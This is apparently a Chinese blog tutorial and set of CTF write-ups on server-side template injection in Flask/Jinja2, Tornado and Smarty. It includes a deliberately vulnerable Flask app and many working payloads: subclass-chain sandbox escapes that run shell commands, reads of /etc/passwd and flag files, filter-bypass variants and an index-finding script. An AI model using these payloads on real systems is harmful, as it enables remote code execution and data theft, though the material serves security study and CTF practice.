ssti注入漏洞解析


SSTI-服务端模版注入漏洞

SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。

常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。

sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。

SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

现在网上提起的比较多的是Python的网站。
原文链接:https://blog.csdn.net/zz_Caleb/article/details/96480967

小学的时候拿别人的好词好句,套在我们自己的作文里,此时我们的作文就相当于模板,而别人的好词好句就相当于传递进模板的内容。

原理:

# 服务端接受用户的输入,将其作为web应用模版的一部分
# 在进行目标编译渲染的过程中,执行了用户的恶意输入,因而导致了敏感信息泄露,代码执行,Getshell等问题。

# 其影响范围主要取决于模版引擎的复杂性。

模版引擎:

在传统的网站,客户端向服务器发送请求,服务器将数据和html字符串发送给客户端

如果使用AJAX技术发送请求,那么服务器端就会返回json数据,原本数据和html的拼接是在服务器端完成的,现在在客户端完成,那么就需要使用客户端模版引擎

概念

​ 模板引擎不属于特定技术领域,它是跨领域跨平台的概念。在Asp下有模板引擎,在PHP下也有模板引擎,在C#下也有,甚至JavaScriptWinForm开发都会用到模板引擎技术

用途

​ 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

​ 我们司空见惯的模板安装卸载等概念,基本上都和模板引擎有着千丝万缕的联系。模板引擎不只是可以让你实现代码分离(业务逻辑代码和用户界面代码),也可以实现数据分离(动态数据与静态数据),还可以实现代码单元共享(代码重用),甚至是多语言、动态页面静态页面自动均衡(SDE)等等与用户界面可能没有关系的功能。img

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将塞进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

什么是模版注入:

当不正确的使用模版引擎进行渲染时,则会造成模版注入,such as:

from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')                 # route装饰器路由
def hello_world():
    return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
    template = '''
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div> 
{%% endblock %%}
''' % (request.args.get('404_url'))
    return render_template_string(template), 404

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True)

@app.route(‘/‘) 使用route装饰器是告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如

@app.route("/login")
def login():
    
    return "hello Flask"

这个时候再访问0.0.0.0:5000/login会输出hello Flask。

main入口

当.py文件直接运行时,if name == ‘main‘:之下的代码开始运行,当py文件是一模块的形式被导入的时候 if name == ‘main‘:之下的代码快不会被运行

app.run(host='0.0.0.0',debug=True)

模版渲染:

我们模版渲染的话有两个方法,render_template() 和 render_template_string()

Render_template():用来渲染一个指定的template文件夹下的一个文件

render_template_string:用来渲染一个字符串

return render_template_string(template), 404 # 这里指渲染了字符串
  • 网上大部分所使用的request.url的方式已经不能导致模板注入了,在最新的flask版本中会自动对request.url进行urlencode,所以我稍微改了一下代码,改成request.args传参就可以了。

在上述代码中,直接将用户可控参数request.args.get('404_url')在模板中直接渲染并传回页面中,这种不正确的渲染方法会产生模板注入(SSTI)。

image-20210427183828255

详细请参考:https://xz.aliyun.com/t/3679

沙盒以及沙盒逃逸

沙盒/沙箱

沙箱在早期主要用于测试可疑软件,测试病毒危害程度等等。在沙箱中运行,即使病毒对其造成了严重危害,也不会威胁到真实环境,沙箱重构也十分便捷。有点类似虚拟机的利用。

沙箱逃逸,就是在给我们的一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。而我们这里主要讲解的是python环境下的沙箱逃逸。

内建函数

概念:

​ 当我们启动一个python解释器时,及时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。

​ 内建函数并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用,想要了解这里面的工作原理,我们可以从名称空间开始。

名称空间

名称空间在python是个非常重要的概念,它是从名称到对象的映射,而在python程序的执行过程中,至少会存在两个名称空间

内建名称空间:python自带的名字,在python解释器启动时产生,存放一些python内置的名字

全局名称空间:在执行文件时,存放文件级别定义的名字

局部名称空间(可能不存在):在执行文件的过程中,如果调用了函数,则会产生该函数的名称空间,用来存放该函数内		定义的名字,该名字在函数调用时生效,调用结束后失效

在python中,初始的builtins模块提供内建名称空间到内建对象的映射

dir()函数用于向我们展示一个对象的属性有哪些,在没有提供对象的时候,将会提供当前环境所导入的所有模块,我们可以看到初始模块有哪些

image-20210428185626920

这里面,我们可以看到__builtins__是做为默认初始模块出现的,那么用dir()命令看看__builtins__的成分。

image-20210727090302236

在这个里面,我们会看到很多熟悉的关键字。比如:__import__strlen等。看到这里大家会不会突然想明白为什么python解释器里能够直接使用某些函数了?比如直接使用len()函数

image-20210428193100977

类继承

python中对一个变量应用class方法从一个变量实例转到对应的对象类型后,类有以下三种关于继承关系的方法

__base__ //对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法

__mro__ //同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到

__subclasses__() //继承此对象的子类,返回一个列表

魔术函数

这里介绍几个常见的魔术函数,有助于后续的理解

  • __dict__类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里的对象的__dict__中存储了一些self.xxx的一些东西内置的数据类型没有__dict__属性每个类有自己的__dict__属性,就算存在继承关系,父类的__dict__ 并不会影响子类的__dict__对象也有自己的__dict__属性, 存储self.xxx 信息,父子类对象公用__dict__

  • __globals__该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。

  • __getattribute__()实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。

  • __subclasses__()返回子类列表,
  • __bases__列出基类

浅谈__getattribute__和getattr:https://blog.csdn.net/qq_41359051/article/details/82930939

使用方法:

从变量->对象->基类->子类遍历->全局变量 这个流程中,找到我们想要的模块或者函数。

利用方式

  • 查配置文件
  • 命令执行(其实就是沙盒逃逸类题目的利用方式)

查配置文件

什么是查配置文件?我们都知道一个python框架,比如说flask,在框架中内置了一些全局变量,对象,函数等等。我们可以直接访问或是调用。这里拿两个例题来简单举例:

easy_tornado

这个题目发现模板注入后的一个关键考点在于handler.settings。这个是Tornado框架本身提供给程序员可快速访问的配置文件对象之一。分析官方文档可以发现handler.settings其实指向的是RequestHandler.application.settings,即可以获取当前application.settings,从中获取到敏感信息。

shrine

这个题目直接给出了源码,flag被写入了配置文件中

app.config['FLAG'] = os.environ.pop('FLAG')

同样在此题的Flask框架中,我们可以通过内置的config对象直接访问该应用的配置信息。不过此题设置了WAF,并不能直接访问{ {config} }得到配置文件而是需要进行一些绕过。这个题目很有意思,开拓思路,有兴趣可以去做一下。

总结一下这类题目,为了内省框架,我们应该:

查阅相关框架的文档

使用dir内省locals对象来查看所有能够使用的模板上下文

使用dir深入内省所有对象

直接分析框架源码

命令执行

命令执行,其实就是前面我们介绍的沙盒溢出的操作。在python环境下,由于在SSTI发生时,以Jinja2为例,在渲染的时候会把{ { } }包裹的内容当做变量解析替换,在{ { } }包裹中我们插入''.__class__.__mro__[-1].__subclasses__()[40]类似的payload也能够被先解析而后结果字符串替换成模板中的具体内容。

方法1 利用eval 进行命令执行

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

方法2 利用warnings.catch_warnings 进行命令执行

查看warnings.catch_warnings方法的位置

>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59

查看linecatch的位置

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25

查找os模块的位置

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12

查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
144

调用system方法

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0

方法3 利用commands 进行命令执行

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

flask实战

  • 一些魔术方法:
1 __class__ 返回类型所属的对象
2 __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
3 __base__ 返回该对象所继承的基类
4 // __base__和__mro__都是用来寻找基类的
5 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
6 __init__类的初始化方法
7 __globals__对包含函数全局变量的字典的引用
  • 语法
1 { {%...%} }:    用于语句
2 { {…} }:    用于表达式,对其进行解析,并打印到模板输出
3 { {#...#} }:    用于注释

flask模版的基本用法:

https://www.cnblogs.com/xiaxiaoxu/p/10428508.html

漏洞利用:

原题复现

from flask import Flask
from flask import render_template
from flask import render_template_string
from flask import request
app=Flask(__name__)

@app.route("/login")
def login():
    username=request.args.get("name")
    html='''
    <h1> this is login page %s</h1>
    '''%(username)
    return render_template_string(html) 
if __name__=="__main__":
    app.run(debug=True)

根据路由,访问/login并且传递参数?name=2

image-20210428100410451

发现返回的值时2,即对我们的输入进行了运算

那么这时候就存在ssti注入

python沙盒逃逸https://blog.csdn.net/qq_42181428/article/details/99355219

传参查看配置文件

image-20210428100711800

利用方法

传参数{ {“”._class_} }获取字符串的类对象

name={ {"".__class__} }

image-20210428100933426

寻找基类

http://127.0.0.1:5000/login?name={ {"".__class__.__mro__} }

image-20210428101029449

查看哪些类被进行了调用

http://127.0.0.1:5000/login?name={ {"".__class__.__mro__[1].__subclasses__()} }

image-20210428101925790

找到os类相关的类

image-20210428111429770

数字时才出来的,先猜100,找找位置,在往后,几次就猜出来了

查找到这样的子类,而这个字类又继承了os类

这个时候我们便可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。

image-20210428115928954

构造payload

{ {''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['popen']('ls').read()} }

image-20210428120114807

很显然命令被执行

参考博客:https://blog.csdn.net/zz_Caleb/article/details/96480967

ctf中的一些绕过tips

没什么系统思路。就是不断挖掘类研究官方文档以及各种能够利用的姿势。这里从最简单的绕过说起。

1.过滤[]等括号

  • 使用getitem绕过。如原poc { {“”.class.bases[0]} }

    绕过后{ { “”.class.bases.getitem(0) } }

  • pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/sp

在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过

3.过滤class

使用session

poc { {session[‘cla’+’ss‘].bases[0].bases[0].bases[0].bases[0].subclasses()[118]} }

多个bases[0]是因为一直在向上找object类。使用mro就会很方便

{ {session['__cla'+'ss__'].__mro__[12]} }

或者

request['__cl'+'ass__'].__mro__[12]} }

字符串拼接绕过

{ {[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()} }

4.timeit姿势

可以学习一下 2017 swpu-ctf的一道沙盒python题,

这里不详说了,博大精深,我只意会一二。

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

import platform
print platform.popen('dir').read()

5.收藏的一些poc

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

过滤引号

request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

过滤双下划线

同样利用request.args属性

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的request.args改为request.values则利用post的方式进行传参

GET:
{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
POST:
class=__class__&mro=__mro__&subclasses=__subclasses__

过滤关键字

base64编码绕过
__getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

BUUCTF进行练习:

[护网杯 2018]easy_tornado

image-20210427194143812

image-20210428160507340

image-20210427202357053

image-20210427202408659

image-20210427202419815

查询cookie_secret:https://tornado-zh.readthedocs.io/zh/latest/guide/security.html

直接访问/fllllllllllllag失败。

百度了render可知,render是python的一个模块,他们的url都是由filename和filehash组成,filehash即为和filename的md5值。

当filename或filehash不匹配时,将会跳转到http://fe01b382-7935-4e50-8973-f09a31b53c8f.node1.buuoj.cn/error?msg=Error 页面.

image-20210428160708406

所以想到需要获取cookie_secret来得到filehash

那么,怎么获取cookie

setting

cookie_secret

image-20210428160917455

查询tornado cookie

image-20210428162319429

settiings:传递给构造函数的其他关键字参数保存在settings字典中,并且在文档中通常称为“应用程序设置”。设置用于自定义tornado的各个方面(尽管在某些情况下,可以通过覆盖的子类中的方法来进行更丰富的自定义RequestHandler)。一些应用程序还喜欢使用settings字典作为使特定于应用程序的设置可供处理程序使用的方式,而无需使用全局变量。在tornado中使用的设置如下所述。

而RequestHandler.settings是self.application.settings的别称,也就是RequestHandler.settings=RequestHandler.application.settings,self取RequestHandler。
也就是说RequestHandler.settings=RequestHandler.application.settings
而handler指向RequestHandler,所以handler就指向RequestHandler.application,最后handlers.ettings=RequestHandler.application.settings
最后捋一下

hanlder=RequestHandler

hanlder.settings=RequestHandler.settings

RequestHandler.settings=RequestHandler.application.settings

RequestHandler.application.settings可以调用

cookie_secrethanlder.settings=RequestHandler.application.settings

hanlder.settings可以调用cookie_secret

原文链接:https://blog.csdn.net/weixin_45253573/article/details/109623436

构造payload

http://71b049e4-2a5f-4cea-a666-759c79785d23.node3.buuoj.cn/error?msg={{handler.settings}}

image-20210428172125120

对文件名加密处理

image-20210428172305117

3bf9f6cf685a6dd8defadabfb41a03a1

加密处理

image-20210428172159290

构建payload

http://71b049e4-2a5f-4cea-a666-759c79785d23.node3.buuoj.cn/file?filename=%2ffllllllllllllag&filehash=b78fdb227df9272aed37a89d3b610c67

得到flag

image-20210428172011391

[BJDCTF2020]The mystery of ip

  1. 进入flag.php

image-20210429122809136

  1. hint.php

image-20210429122951771

显示出来ip,那么就看一下xff字段

image-20210429123859602

很显然随着xff改变,页面回显也发生变化

尝试ssti注入

49

image-20210429124149309

查看配置文件

image-20210429124329519

根据报错发现这里是Smarty的模版引擎

查看Smarty3官方手册:https://www.smarty.net/docs/zh_CN/language.function.if.tpl

在这里插入图片描述

查看版本信息

image-20210429124606248

利用{if}语句执行php代码

image-20210429124708740

查询flag

image-20210429124858171

[pasecactf_2019]flask_ssti

题目已经显示是ssti就直接进行一下模板注入

image-20210429125023122

查看配置文件

image-20210429125136320

可能存在过滤

image-20210429130454507

那么转换成16进制

code = "/proc/self/fd/1"
ssti = ""
length = len(code)
for i in range(length):
    ssti += "\\x" + hex(ord(code[i]))[2:]
print(ssti)

查处基类包含的所有字类

image-20210429131523378

<class '_frozen_importlib_external.FileLoader'>

构造payload

{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}

image-20210429132030587

flag{fde38292-447d-4518-8242-86df7f047333}

[BJDCTF 2nd]fake google

随便输入一句话

image-20210429225120343

查看源代码

image-20210429225257809

看见是ssti注入

image-20210429225338352

查看配置文件

image-20210429225506231

看不出

查看基类

{{''.__class__.__base__}}

image-20210429225857502

所有子类

{{''.__class__.__base__.__subclasses__()}}

image-20210429225958707

查找敏感类

image-20210429230252543

利用python脚本:

import requests
import time

for i in range(0,200):

	url = 'http://66798d0c-db46-4a74-b944-e90d4e896e76.node3.buuoj.cn/qaq?name={{"".__class__.__base__.__subclasses__()[%s]}}'% i
	res = requests.get(url)
	#print(res.text)
	if 'os._wrap_close' in res.text:
		print(url)
		break

image-20210429233452834

可以看到os模块的位置是117

构造payload,查看目录

http://66798d0c-db46-4a74-b944-e90d4e896e76.node3.buuoj.cn/qaq?name={{%27%27.__class__.__base__.__subclasses__()[117].__init__.__globals__[%27popen%27](%27dir%20/%27).read()}}

image-20210429234928426

可以看到有一个flag文件,读取

http://66798d0c-db46-4a74-b944-e90d4e896e76.node3.buuoj.cn/qaq?name={{%27%27.__class__.__base__.__subclasses__()[117].__init__.__globals__[%27popen%27](%27cat%20/flag%27).read()}}

image-20210429235157915


文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录